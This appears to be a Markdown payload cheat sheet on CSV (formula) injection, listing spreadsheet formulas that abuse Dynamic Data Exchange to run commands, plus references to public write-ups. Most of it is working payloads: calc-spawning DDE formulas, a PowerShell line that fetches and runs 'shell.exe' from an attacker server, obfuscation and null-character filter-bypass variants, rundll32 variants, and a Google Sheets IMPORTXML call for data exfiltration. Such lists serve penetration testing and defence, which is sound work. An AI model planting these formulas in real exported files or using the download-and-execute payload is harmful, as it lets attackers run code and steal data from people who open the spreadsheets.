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93 lines
4.0 KiB
Markdown
93 lines
4.0 KiB
Markdown
# CSV Injection
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> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
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## Summary
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* [Methodology](#methodology)
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* [Google Sheets](#google-sheets)
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* [References](#references)
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## Methodology
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CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
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```text
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=
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+
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–
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@
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```
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Basic exploits with **Dynamic Data Exchange**.
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* Spawn a calc
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```text
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DDE ("cmd";"/C calc";"!A0")A0
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@SUM(1+1)*cmd|' /C calc'!A0
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=2+5+cmd|' /C calc'!A0
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=cmd|' /C calc'!'A1'
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```
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* PowerShell download and execute
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```text
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=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
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```
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* Prefix obfuscation and command chaining
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```text
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=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
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=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
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= cmd|'/c calc.exe'!A
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```
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* Using rundll32 instead of cmd
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```text
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=rundll32|'URL.dll,OpenURL calc.exe'!A
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=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
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```
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* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
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```text
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= C m D | '/ c c al c . e x e ' ! A
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```
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Technical details of the above payloads:
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* `cmd` is the name the server can respond to whenever a client is trying to access the server
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* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
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* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
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### Google Sheets
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Google Sheets allows some additional formulas that are able to fetch remote URLs:
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* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
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* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
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* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
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* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
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* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
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So one can test blind formula injection or a potential for data exfiltration with:
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```text
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=IMPORTXML("http://[REDACTED]/csv", "//a/@href")
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```
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Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.
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## References
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* [CSV Excel Macro Injection - Timo Goosen, Albinowax - June 21, 2022](https://web.archive.org/web/20260211194330/https://owasp.org/www-community/attacks/CSV_Injection)
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* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://web.archive.org/web/20251126193606/https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
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* [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - November 30, 2017](https://web.archive.org/web/20221205154959/https://payatu.com/csv-injection-basic-to-exploit/)
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* [From CSV to Meterpreter - Adam Chester - November 5, 2015](https://web.archive.org/web/20251020005639/https://blog.xpnsec.com/from-csv-to-meterpreter/)
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* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - October 7, 2017](https://web.archive.org/web/20260216175809/https://georgemauer.net/2017/10/07/csv-injection.html)
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* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://web.archive.org/web/20220928031043/https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
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* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://web.archive.org/web/20260115180627/https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
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